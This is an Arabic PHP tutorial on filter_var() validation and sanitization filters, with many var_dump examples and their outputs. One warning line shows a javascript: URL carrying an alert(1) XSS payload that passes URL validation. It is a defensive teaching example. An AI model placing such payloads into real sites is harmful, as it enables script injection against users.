اذهب إلى المحتوى

البحث في الموقع

المحتوى عن 'ملاحظات للعاملين بلغة php'.

  • ابحث بالكلمات المفتاحية

    أضف وسومًا وافصل بينها بفواصل ","
  • ابحث باسم الكاتب

نوع المحتوى


التصنيفات

  • الإدارة والقيادة
  • التخطيط وسير العمل
  • التمويل
  • فريق العمل
  • دراسة حالات
  • التعامل مع العملاء
  • التعهيد الخارجي
  • السلوك التنظيمي في المؤسسات
  • عالم الأعمال
  • التجارة والتجارة الإلكترونية
  • نصائح وإرشادات
  • مقالات ريادة أعمال عامة

التصنيفات

  • مقالات برمجة عامة
  • مقالات برمجة متقدمة
  • PHP
    • Laravel
    • ووردبريس
  • جافاسكربت
    • لغة TypeScript
    • Node.js
    • React
    • Vue.js
    • Angular
    • jQuery
    • Cordova
  • HTML
  • CSS
    • Sass
    • إطار عمل Bootstrap
  • SQL
  • لغة C#‎
    • ‎.NET
    • منصة Xamarin
  • لغة C++‎
  • لغة C
  • بايثون
    • Flask
    • Django
  • لغة روبي
    • إطار العمل Ruby on Rails
  • لغة Go
  • لغة جافا
  • لغة Kotlin
  • لغة Rust
  • برمجة أندرويد
  • لغة R
  • الذكاء الاصطناعي
  • صناعة الألعاب
  • سير العمل
    • Git
  • الأنظمة والأنظمة المدمجة

التصنيفات

  • تصميم تجربة المستخدم UX
  • تصميم واجهة المستخدم UI
  • الرسوميات
    • إنكسكيب
    • أدوبي إليستريتور
  • التصميم الجرافيكي
    • أدوبي فوتوشوب
    • أدوبي إن ديزاين
    • جيمب GIMP
    • كريتا Krita
  • التصميم ثلاثي الأبعاد
    • 3Ds Max
    • Blender
  • نصائح وإرشادات
  • مقالات تصميم عامة

التصنيفات

  • مقالات DevOps عامة
  • خوادم
    • الويب HTTP
    • البريد الإلكتروني
    • قواعد البيانات
    • DNS
    • Samba
  • الحوسبة السحابية
    • Docker
  • إدارة الإعدادات والنشر
    • Chef
    • Puppet
    • Ansible
  • لينكس
    • ريدهات (Red Hat)
  • خواديم ويندوز
  • FreeBSD
  • حماية
    • الجدران النارية
    • VPN
    • SSH
  • شبكات
    • سيسكو (Cisco)

التصنيفات

  • التسويق بالأداء
    • أدوات تحليل الزوار
  • تهيئة محركات البحث SEO
  • الشبكات الاجتماعية
  • التسويق بالبريد الالكتروني
  • التسويق الضمني
  • استسراع النمو
  • المبيعات
  • تجارب ونصائح
  • مبادئ علم التسويق

التصنيفات

  • مقالات عمل حر عامة
  • إدارة مالية
  • الإنتاجية
  • تجارب
  • مشاريع جانبية
  • التعامل مع العملاء
  • الحفاظ على الصحة
  • التسويق الذاتي
  • العمل الحر المهني
    • العمل بالترجمة
    • العمل كمساعد افتراضي
    • العمل بكتابة المحتوى

التصنيفات

  • الإنتاجية وسير العمل
    • مايكروسوفت أوفيس
    • ليبر أوفيس
    • جوجل درايف
    • شيربوينت
    • Evernote
    • Trello
  • تطبيقات الويب
    • ووردبريس
    • ماجنتو
    • بريستاشوب
    • أوبن كارت
    • دروبال
  • الترجمة بمساعدة الحاسوب
    • omegaT
    • memoQ
    • Trados
    • Memsource
  • برامج تخطيط موارد المؤسسات ERP
    • تطبيقات أودو odoo
  • أنظمة تشغيل الحواسيب والهواتف
    • ويندوز
    • لينكس
  • مقالات عامة

التصنيفات

  • آخر التحديثات

أسئلة وأجوبة

  • الأقسام
    • أسئلة البرمجة
    • أسئلة ريادة الأعمال
    • أسئلة العمل الحر
    • أسئلة التسويق والمبيعات
    • أسئلة التصميم
    • أسئلة DevOps
    • أسئلة البرامج والتطبيقات

التصنيفات

  • كتب ريادة الأعمال
  • كتب العمل الحر
  • كتب تسويق ومبيعات
  • كتب برمجة
  • كتب تصميم
  • كتب DevOps

ابحث في

ابحث عن


تاريخ الإنشاء

  • بداية

    نهاية


آخر تحديث

  • بداية

    نهاية


رشح النتائج حسب

تاريخ الانضمام

  • بداية

    نهاية


المجموعة


النبذة الشخصية

  1. ترشِّح هذه الإضافة البيانات إما عن طريق تدقيقها أو تعقيمها (sanitizing)، ويعدّ هذا مفيدًا خاصةً عندما يتضمن مصدر البيانات بيانات غير معروفة (أو غريبة) مثل الدخل الذي يوفره مستخدم ما، قد تأتي هذه البيانات من نموذج HTML مثلًا. المعامل تفاصيل variable القيمة التي نريد ترشيحها، لاحظ أنّ القيم العددية تُحوَّل إلى سلاسل نصية داخليًا قبل أي ترشيح filter ‫ معرِّف المرشّح الذي نريد تطبيقه، تذكر صفحة أنواع المرشِّحات في توثيق PHP جميع المرشِّحات المتاحة، إذا تجاوزت هذا المعامل ستُستخدم افتراضيًا القيمة `FILTER_DEFAULT` والتي تكافئ القيمة `FILTER_UNSAFE_RAW`، مما يؤدي إلى عدم إجراء ترشيح بشكلٍ افتراضي options ‫مصفوفة ترابطية من الخيارات أو عملية ثنائية OR على الرايات، إذا قَبِل المرشّح هذه الخيارات يمكن توفير الرايات في الحقل "flags" من المصفوفة. يجب تمرير نوع قابل للاستدعاء من أجل مرشِّح رد النداء، ويجب أن يقبل رد النداء وسيط واحد (القيمة التي نريد ترشيحها) ويعيد القيمة بعد ترشيحها/تعقيمها table { width: 100%; } thead { vertical-align: middle; text-align: center; } td, th { border: 1px solid #dddddd; text-align: right; padding: 8px; text-align: inherit; } tr:nth-child(even) { background-color: #dddddd; } التحقق من القيم المنطقية var_dump(filter_var(true, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true var_dump(filter_var(false, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false var_dump(filter_var(1, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true var_dump(filter_var(0, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false var_dump(filter_var('1', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true var_dump(filter_var('0', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false var_dump(filter_var('', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false var_dump(filter_var(' ', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false var_dump(filter_var('true', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true var_dump(filter_var('false', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false var_dump(filter_var([], FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // NULL var_dump(filter_var(null, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false التحقق من القيم العشرية يتحقق من القيمة على أنّها قيمة عشرية ويحوّلها إلى قيمة عشرية عند النجاح. var_dump(filter_var(1, FILTER_VALIDATE_FLOAT)); var_dump(filter_var(1.0, FILTER_VALIDATE_FLOAT)); var_dump(filter_var(1.0000, FILTER_VALIDATE_FLOAT)); var_dump(filter_var(1.00001, FILTER_VALIDATE_FLOAT)); var_dump(filter_var('1', FILTER_VALIDATE_FLOAT)); var_dump(filter_var('1.0', FILTER_VALIDATE_FLOAT)); var_dump(filter_var('1.0000', FILTER_VALIDATE_FLOAT)); var_dump(filter_var('1.00001', FILTER_VALIDATE_FLOAT)); var_dump(filter_var('1,000', FILTER_VALIDATE_FLOAT)); var_dump(filter_var('1,000.0', FILTER_VALIDATE_FLOAT)); var_dump(filter_var('1,000.0000', FILTER_VALIDATE_FLOAT)); var_dump(filter_var('1,000.00001', FILTER_VALIDATE_FLOAT)); var_dump(filter_var(1, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var(1.0, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var(1.0000, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var(1.00001, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1.0', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1.0000', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1.00001', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1,000', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1,000.0', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1,000.0000', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1,000.00001', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); الخرج: float(1) float(1) float(1) float(1.00001) float(1) float(1) float(1) float(1.00001) bool(false) bool(false) bool(false) bool(false) float(1) float(1) float(1) float(1.00001) float(1) float(1) float(1) float(1.00001) float(1000) float(1000) float(1000) float(1000.00001) التحقق من العنوان الفيزيائي (MAC Address) يتحقق من قيمة أنّها عنوان فيزيائي صحيح. var_dump(filter_var('FA-F9-DD-B2-5E-0D', FILTER_VALIDATE_MAC)); var_dump(filter_var('DC-BB-17-9A-CE-81', FILTER_VALIDATE_MAC)); var_dump(filter_var('96-D5-9E-67-40-AB', FILTER_VALIDATE_MAC)); var_dump(filter_var('96-D5-9E-67-40', FILTER_VALIDATE_MAC)); var_dump(filter_var('', FILTER_VALIDATE_MAC)); الخرج: string(17) "FA-F9-DD-B2-5E-0D" string(17) "DC-BB-17-9A-CE-81" string(17) "96-D5-9E-67-40-AB" bool(false) bool(false) تعقيم عناوين البريد الإلكتروني يحذف جميع المحارف باستثناء الأحرف والأرقام والمحارف ‎!#$%&'*+-=?^_{|}~@.[]‎`. var_dump(filter_var('john@example.com', FILTER_SANITIZE_EMAIL)); var_dump(filter_var("!#$%&'*+-=?^_`{|}~.[]@example.com", FILTER_SANITIZE_EMAIL)); var_dump(filter_var('john/@example.com', FILTER_SANITIZE_EMAIL)); var_dump(filter_var('john\@example.com', FILTER_SANITIZE_EMAIL)); var_dump(filter_var('joh n@example.com', FILTER_SANITIZE_EMAIL)); الخرج: string(16) "john@example.com" string(33) "!#$%&'*+-=?^_`{|}~.[]@example.com" string(16) "john@example.com" string(16) "john@example.com" string(16) "john@example.com" تعقيم الأعداد الصحيحة يحذف جميع المحارف باستثناء الأرقام وإشارة الناقص والزائد. var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var(-1, FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var(+1, FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var(1.00, FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var(+1.00, FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var(-1.00, FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('-1', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('+1', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('1.00', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('+1.00', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('-1.00', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('1 unicorn', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('-1 unicorn', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var('+1 unicorn', FILTER_SANITIZE_NUMBER_INT)); var_dump(filter_var("!#$%&'*+-=?^_`{|}~@.[]0123456789abcdefghijklmnopqrstuvwxyz", FILTER_SANITIZE_NUMBER_INT)); الخرج: string(1) "1" string(2) "-1" string(1) "1" string(1) "1" string(1) "1" string(2) "-1" string(1) "1" string(2) "-1" string(2) "+1" string(3) "100" string(4) "+100" string(4) "-100" string(1) "1" string(2) "-1" string(2) "+1" string(12) "+-0123456789" تعقيم الروابط يحذف جميع المحارف باستثناء الأحرف والأرقام والمحارف ‎$-_.+!*'(),{}|\^~[]<>#%";/?:@&=‎`. var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_SANITIZE_URL)); var_dump(filter_var("http://www.example.com/path/to/dir/index.php?test=y!#$%&'*+-=?^_`{|}~.[]", FILTER_SANITIZE_URL)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=a b c', FILTER_SANITIZE_URL)); الخرج: string(51) "http://www.example.com/path/to/dir/index.php?test=y" string(72) "http://www.example.com/path/to/dir/index.php?test=y!#$%&'*+-=?^_`{|}~.[]" string(53) "http://www.example.com/path/to/dir/index.php?test=abc" التحقق من عناوين البريد الإلكتروني تعيد الدالة filter_var()‎ عند استخدامها للتحقق من عنوان بريد إلكتروني بيانات مرشّحةً، والتي يجب أن تكون عنوان بريد إلكتروني في هذه الحالة أو false إذا لم يكن عنوان البريد إلكتروني صحيحًا: var_dump(filter_var('john@example.com', FILTER_VALIDATE_EMAIL)); var_dump(filter_var('notValidEmail', FILTER_VALIDATE_EMAIL)); الخرج: string(16) "john@example.com" bool(false) لا تتحقق هذه الدالة من المحارف غير اللاتينية، يمكن التحقق من اسم المجال المدول (Internationalized) من خلال نموذج ‎xn-- الخاص به. لاحظ أنّه لا يمكن معرفة فيما إذا كان عنوان البريد الإلكتروني صحيحًا قبل إرسال بريد إلكتروني إليه، قد ترغب بالمزيد من عمليات التحقق مثل التحقق من سجل MX، لكن هذا ليس ضروريًا. لا تنسَ إزالة الحسابات غير المستخدمة عند إرسال بريد تأكيد إلكتروني. التحقق من القيم الصحيحة تعيد الدالة filter_var()‎ عند استخدامها للتحقق من قيمة يجب أن تكون عددًا صحيحًا بيانات مرشّحةً والتي يجب أن تكون عددًا صحيحًا في هذه الحالة أو false إذا لم تكن القيمة عددًا صحيحًا. ولا تنسَ أنّ الأعداد العشرية ليست أعدادًا صحيحة. var_dump(filter_var('10', FILTER_VALIDATE_INT)); var_dump(filter_var('a10', FILTER_VALIDATE_INT)); var_dump(filter_var('10a', FILTER_VALIDATE_INT)); var_dump(filter_var(' ', FILTER_VALIDATE_INT)); var_dump(filter_var('10.00', FILTER_VALIDATE_INT)); var_dump(filter_var('10,000', FILTER_VALIDATE_INT)); var_dump(filter_var('-5', FILTER_VALIDATE_INT)); var_dump(filter_var('+7', FILTER_VALIDATE_INT)); الخرج: int(10) bool(false) bool(false) bool(false) bool(false) bool(false) int(-5) int(7) يمكنك استخدام تعبير نمطي إذا كنت تتوقع أرقامًا فقط: if(is_string($_GET['entry']) && preg_match('#^[0-9]+$#', $_GET['entry'])) // ‫هذا رقم صحيح (موجب) else // الرقم المدخل غير صحيح لا تحتاج للقيام بمثل هذا التحقق إذا كنت تحوّل هذه القيمة إلى عدد صحيح لذا يمكنك استخدام filter_var()‎. التحقق من وجود عدد صحيح ضمن مجال نحتاج إلى تضمين الحد الأقصى والحد الأدنى للمجال للتحقق من وجود عدد صحيح ضمن هذا المجال. $options = array( 'options' => array( 'min_range' => 5, 'max_range' => 10, ) ); var_dump(filter_var('5', FILTER_VALIDATE_INT, $options)); var_dump(filter_var('10', FILTER_VALIDATE_INT, $options)); var_dump(filter_var('8', FILTER_VALIDATE_INT, $options)); var_dump(filter_var('4', FILTER_VALIDATE_INT, $options)); var_dump(filter_var('11', FILTER_VALIDATE_INT, $options)); var_dump(filter_var('-6', FILTER_VALIDATE_INT, $options)); الخرج: int(5) int(10) int(8) bool(false) bool(false) bool(false) التحقق من رابط تعيد الدالة filter_var()‎ عند استخدامها لترشيح رابط بيانات مرشّحةً والتي يجب أن تكون رابطًا في هذه الحالة أو false إذا لم يكن الرابط صحيحًا: مثال الرابط example.com: var_dump(filter_var('example.com', FILTER_VALIDATE_URL)); var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)); var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)); var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED)); var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED)); الخرج: bool(false) bool(false) bool(false) bool(false) bool(false) الرابط http://example.com: var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL)); var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)); var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)); var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED)); var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED)); الخرج: string(18) "http://example.com" string(18) "http://example.com" string(18) "http://example.com" bool(false) bool(false) الرابط http://www.example.com: var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL)); var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)); var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)); var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED)); var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED)); الخرج: string(22) "http://www.example.com" string(22) "http://www.example.com" string(22) "http://www.example.com" bool(false) bool(false) الرابط http://www.example.com/path/to/dir/‎: var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL)); var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED)); الخرج: string(35) "http://www.example.com/path/to/dir/" string(35) "http://www.example.com/path/to/dir/" string(35) "http://www.example.com/path/to/dir/" string(35) "http://www.example.com/path/to/dir/" bool(false) الرابط http://www.example.com/path/to/dir/index.php: var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED)); الخرج: string(44) "http://www.example.com/path/to/dir/index.php" string(44) "http://www.example.com/path/to/dir/index.php" string(44) "http://www.example.com/path/to/dir/index.php" string(44) "http://www.example.com/path/to/dir/index.php" bool(false) الرابط http://www.example.com/path/to/dir/index.php?test=y: var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_VALIDATE_URL)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED)); var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED)); الخرج: string(51) "http://www.example.com/path/to/dir/index.php?test=y" string(51) "http://www.example.com/path/to/dir/index.php?test=y" string(51) "http://www.example.com/path/to/dir/index.php?test=y" string(51) "http://www.example.com/path/to/dir/index.php?test=y" string(51) "http://www.example.com/path/to/dir/index.php?test=y" تحذير: يجب التحقق من أنّ البروتوكول يحميك من هجوم البرمجة عبر المواقع (XSS). var_dump(filter_var('javascript://comment%0Aalert(1)', FILTER_VALIDATE_URL)); // string(31) "javascript://comment%0Aalert(1)" تعقيم الأعداد العشرية يحذف جميع المحارف باستثناء الأرقام و‎+- والمحارف ‎.,eE اختياريًا. var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var(1.00001, FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1,000', FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1,000.0', FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT)); var_dump(filter_var('1.8281e-009', FILTER_SANITIZE_NUMBER_FLOAT)); الخرج: string(1) "1" string(1) "1" string(1) "1" string(6) "100001" string(1) "1" string(2) "10" string(5) "10000" string(6) "100001" string(4) "1000" string(5) "10000" string(8) "10000000" string(9) "100000001" string(9) "18281-009" باستخدام خيار FILTER_FLAG_ALLOW_THOUSAND: var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var(1.00001, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1,000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1,000.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); var_dump(filter_var('1.8281e-009', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND)); يكون الخرج: string(1) "1" string(1) "1" string(6) "100001" string(1) "1" string(2) "10" string(5) "10000" string(6) "100001" string(5) "1,000" string(6) "1,0000" string(9) "1,0000000" string(10) "1,00000001" string(9) "18281-009" باستخدام الخيار FILTER_FLAG_ALLOW_SCIENTIFIC: var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var(1.00001, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1,000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1,000.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); var_dump(filter_var('1.8281e-009', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC)); يكون الخرج: string(1) "1" string(1) "1" string(1) "1" string(6) "100001" string(1) "1" string(2) "10" string(5) "10000" string(6) "100001" string(4) "1000" string(5) "10000" string(8) "10000000" string(9) "100000001" string(10) "18281e-009" التحقق من عنوان IP يفحص قيمة فيما إذا كانت عنوان IP صحيح: var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP)); var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP)); var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP)); var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP)); الخرج: string(13) "185.158.24.24" string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001" string(11) "192.168.0.1" string(9) "127.0.0.1" التحقق من عنوان IP فيما إذا كان عنوان IPv4 صحيح: var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)); var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)); var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)); var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)); الخرج: string(13) "185.158.24.24" bool(false) string(11) "192.168.0.1" string(9) "127.0.0.1" التحقق من عنوان IP فيما إذا كان عنوان IPv6 صحيح: var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)); var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)); var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)); var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)); الخرج: bool(false) string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001" bool(false) bool(false) التحقق من كون عنوان IP غير موجود ضمن مجال خاص: var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)); var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)); var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)); var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)); الخرج: string(13) "185.158.24.24" string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001" bool(false) string(9) "127.0.0.1" التحقق من كون عنوان IP غير موجود ضمن مجال محجوز: var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE)); var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE)); var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE)); var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE)); الخرج: string(13) "185.158.24.24" bool(false) string(11) "192.168.0.1" bool(false) التعقيم بالمرشحات يمكننا استخدام المرشِّحات لتعقيم متغير ما وفقًا لاحتياجاتنا، مثال: $string = "<p>Example</p>"; $newstring = filter_var($string, FILTER_SANITIZE_STRING); var_dump($newstring); // string(7) "Example" ستحذف الشيفرة السابقة وسوم html من المتغير ‎$string. ترجمة -وبتصرف- للفصل [Filters & Filter Functions] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: شرح المولدات وتوضيح مفهوم المغلف (closure) في PHP المقال السابق: معالجة الملفات والبيانات المرمزة بترميز UTF-8 في PHP
